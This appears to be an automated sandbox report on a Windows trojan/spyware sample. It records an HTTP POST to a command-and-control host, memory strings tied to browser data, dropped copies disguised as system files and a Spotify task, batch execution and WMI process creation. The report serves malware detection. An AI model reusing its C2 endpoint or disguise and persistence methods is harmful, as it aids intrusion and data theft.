Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: unasnetds.ru
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: Gg6wivFINd.exe, 00000000.00000002.1714628177.0000000003A50000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: csrss.exe, 0000001A.00000002.2923235693.000000000319B000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.000000000308A000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.0000000003125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unasnetds.ru
Source: csrss.exe, 0000001A.00000002.2923235693.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unasnetds.ru/
Source: csrss.exe, 0000001A.00000002.2923235693.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.000000000336A000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.0000000003501000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.000000000319B000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.000000000308A000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.0000000003125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: VY76Af3CbT.26.dr	String found in binary or memory: https://support.mozilla.org
Source: VY76Af3CbT.26.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: csrss.exe, 0000001A.00000002.2923235693.000000000303A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: VY76Af3CbT.26.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: csrss.exe, 0000001A.00000002.2923235693.000000000303A000.00000004.00000800.00020000.00000000.sdmp, ZxHjJuaVnV.26.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: ZxHjJuaVnV.26.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: csrss.exe, 0000001A.00000002.2923235693.000000000303A000.00000004.00000800.00020000.00000000.sdmp, ZxHjJuaVnV.26.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: ZxHjJuaVnV.26.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: VY76Af3CbT.26.dr	String found in binary or memory: https://www.mozilla.org
Source: csrss.exe, 0000001A.00000002.2923235693.000000000303A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: VY76Af3CbT.26.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: csrss.exe, 0000001A.00000002.2923235693.000000000303A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: VY76Af3CbT.26.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: csrss.exe, 0000001A.00000002.2923235693.000000000303A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: VY76Af3CbT.26.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: VY76Af3CbT.26.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: csrss.exe, 0000001A.00000002.2923235693.000000000303A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: VY76Af3CbT.26.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: C:\ProgramData\ssh\csrss.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCF36723D4EAA14E7A90D51663AB383B81.TMP			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSCF36723D4EAA14E7A90D51663AB383B81.TMP

Jump to behavior

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9B890D4C	0_2_00007FFD9B890D4C
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9B890E43	0_2_00007FFD9B890E43
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9BC9AB62	0_2_00007FFD9BC9AB62
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9BC99DB6	0_2_00007FFD9BC99DB6
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9BC998B9	0_2_00007FFD9BC998B9
Source: C:\ProgramData\ssh\csrss.exe	Code function: 24_2_00007FFD9B8D1625	24_2_00007FFD9B8D1625
Source: C:\ProgramData\ssh\csrss.exe	Code function: 24_2_00007FFD9B8DD4D8	24_2_00007FFD9B8DD4D8
Source: C:\ProgramData\ssh\csrss.exe	Code function: 24_2_00007FFD9B8A0D4C	24_2_00007FFD9B8A0D4C
Source: C:\ProgramData\ssh\csrss.exe	Code function: 24_2_00007FFD9B8A0E43	24_2_00007FFD9B8A0E43
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B8A1625	26_2_00007FFD9B8A1625
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B8ADFE5	26_2_00007FFD9B8ADFE5
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B8AD840	26_2_00007FFD9B8AD840
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B870854	26_2_00007FFD9B870854
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B870D4C	26_2_00007FFD9B870D4C
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B870E43	26_2_00007FFD9B870E43
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC8233C	26_2_00007FFD9BC8233C
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC80706	26_2_00007FFD9BC80706
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC795D2	26_2_00007FFD9BC795D2
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC814B2	26_2_00007FFD9BC814B2
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC78E3A	26_2_00007FFD9BC78E3A
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 27_2_00007FFD9B870D4C	27_2_00007FFD9B870D4C
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 27_2_00007FFD9B870E43	27_2_00007FFD9B870E43
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 29_2_00007FFD9B8A0D4C	29_2_00007FFD9B8A0D4C
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 29_2_00007FFD9B8A0E43	29_2_00007FFD9B8A0E43
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 30_2_00007FFD9B8B0D4C	30_2_00007FFD9B8B0D4C
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 30_2_00007FFD9B8B0E43	30_2_00007FFD9B8B0E43
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 31_2_00007FFD9B8E1625	31_2_00007FFD9B8E1625
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 31_2_00007FFD9B8ED4D8	31_2_00007FFD9B8ED4D8
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 31_2_00007FFD9B8B0D4C	31_2_00007FFD9B8B0D4C
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 31_2_00007FFD9B8B0E43	31_2_00007FFD9B8B0E43
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 32_2_00007FFD9B890D4C	32_2_00007FFD9B890D4C
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 32_2_00007FFD9B890E43	32_2_00007FFD9B890E43
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 32_2_00007FFD9B8C1625	32_2_00007FFD9B8C1625
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 32_2_00007FFD9B8CD4D8	32_2_00007FFD9B8CD4D8
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 33_2_00007FFD9B8C1625	33_2_00007FFD9B8C1625
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 33_2_00007FFD9B8CD4D8	33_2_00007FFD9B8CD4D8
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 33_2_00007FFD9B890D4C	33_2_00007FFD9B890D4C
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 33_2_00007FFD9B890E43	33_2_00007FFD9B890E43
Source: C:\ProgramData\ssh\csrss.exe	Code function: 36_2_00007FFD9B890D4C	36_2_00007FFD9B890D4C
Source: C:\ProgramData\ssh\csrss.exe	Code function: 36_2_00007FFD9B890E43	36_2_00007FFD9B890E43
Source: C:\ProgramData\ssh\csrss.exe	Code function: 36_2_00007FFD9B8C1625	36_2_00007FFD9B8C1625
Source: C:\ProgramData\ssh\csrss.exe	Code function: 36_2_00007FFD9B8CD4D8	36_2_00007FFD9B8CD4D8
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 39_2_00007FFD9B8A0D4C	39_2_00007FFD9B8A0D4C
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 39_2_00007FFD9B8A0E43	39_2_00007FFD9B8A0E43
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 39_2_00007FFD9B8D1625	39_2_00007FFD9B8D1625
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 39_2_00007FFD9B8DD4D8	39_2_00007FFD9B8DD4D8
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 40_2_00007FFD9B890D4C	40_2_00007FFD9B890D4C
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 40_2_00007FFD9B890E43	40_2_00007FFD9B890E43
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 40_2_00007FFD9B8C1625	40_2_00007FFD9B8C1625
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 40_2_00007FFD9B8CD4D8	40_2_00007FFD9B8CD4D8
Source: C:\ProgramData\ssh\csrss.exe	Code function: 41_2_00007FFD9B8A1625	41_2_00007FFD9B8A1625
Source: C:\ProgramData\ssh\csrss.exe	Code function: 41_2_00007FFD9B8AD4D8	41_2_00007FFD9B8AD4D8
Source: C:\ProgramData\ssh\csrss.exe	Code function: 41_2_00007FFD9B870D4C	41_2_00007FFD9B870D4C
Source: C:\ProgramData\ssh\csrss.exe	Code function: 41_2_00007FFD9B870E43	41_2_00007FFD9B870E43
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 42_2_00007FFD9B890D4C	42_2_00007FFD9B890D4C
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 42_2_00007FFD9B890E43	42_2_00007FFD9B890E43
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 42_2_00007FFD9B8C1625	42_2_00007FFD9B8C1625
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 42_2_00007FFD9B8CD4D8	42_2_00007FFD9B8CD4D8
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 43_2_00007FFD9B8E1625	43_2_00007FFD9B8E1625
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 43_2_00007FFD9B8ED4D8	43_2_00007FFD9B8ED4D8
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 43_2_00007FFD9B8B0D4C	43_2_00007FFD9B8B0D4C
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Code function: 43_2_00007FFD9B8B0E43	43_2_00007FFD9B8B0E43

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\ObFbaRth.log DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254

Source: Gg6wivFINd.exe, 00000000.00000000.1659457898.0000000000D68000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000001B.00000002.1877526512.000000000356D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000001B.00000002.1877526512.00000000034A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000001B.00000002.1877526512.00000000034BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000001B.00000002.1877526512.00000000034B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000001D.00000002.1874481228.0000000002923000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000001D.00000002.1874481228.000000000292D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000001D.00000002.1874481228.0000000002911000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000001D.00000002.1874481228.00000000029DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 00000020.00000002.1862554107.00000000033F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 00000027.00000002.2066819174.0000000003603000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 00000027.00000002.2066819174.000000000361D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 00000027.00000002.2066819174.0000000003563000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 00000027.00000002.2066819174.0000000003551000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000002A.00000002.2325468261.0000000003081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000002A.00000002.2325468261.0000000003093000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000002A.00000002.2325468261.0000000003133000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe, 0000002A.00000002.2325468261.000000000314D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe
Source: Gg6wivFINd.exe	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs Gg6wivFINd.exe

Source: Gg6wivFINd.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: Gg6wivFINd.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SKldWJijnIiMahBoQJBr.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SKldWJijnIiMahBoQJBr.exe0.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SKldWJijnIiMahBoQJBr.exe1.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SKldWJijnIiMahBoQJBr.exe2.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Gg6wivFINd.exe, taUSyQp14VOrrdm1uo7.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Gg6wivFINd.exe, taUSyQp14VOrrdm1uo7.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Gg6wivFINd.exe, taUSyQp14VOrrdm1uo7.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Gg6wivFINd.exe, taUSyQp14VOrrdm1uo7.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@46/53@3/2

Source: C:\Users\user\Desktop\Gg6wivFINd.exe

File created: C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe

Jump to behavior

Source: C:\Users\user\Desktop\Gg6wivFINd.exe

File created: C:\Users\user\Desktop\sKFFPdPb.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Mutant created: NULL
Source: C:\ProgramData\ssh\csrss.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-s0gk0uFHrMNtVBVBIuMP
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03

Source: C:\Users\user\Desktop\Gg6wivFINd.exe

File created: C:\Users\user\AppData\Local\Temp\gufwpc0b

Jump to behavior

Source: C:\Users\user\Desktop\Gg6wivFINd.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\fWX3gCrjSV.bat"

Source: Gg6wivFINd.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Gg6wivFINd.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
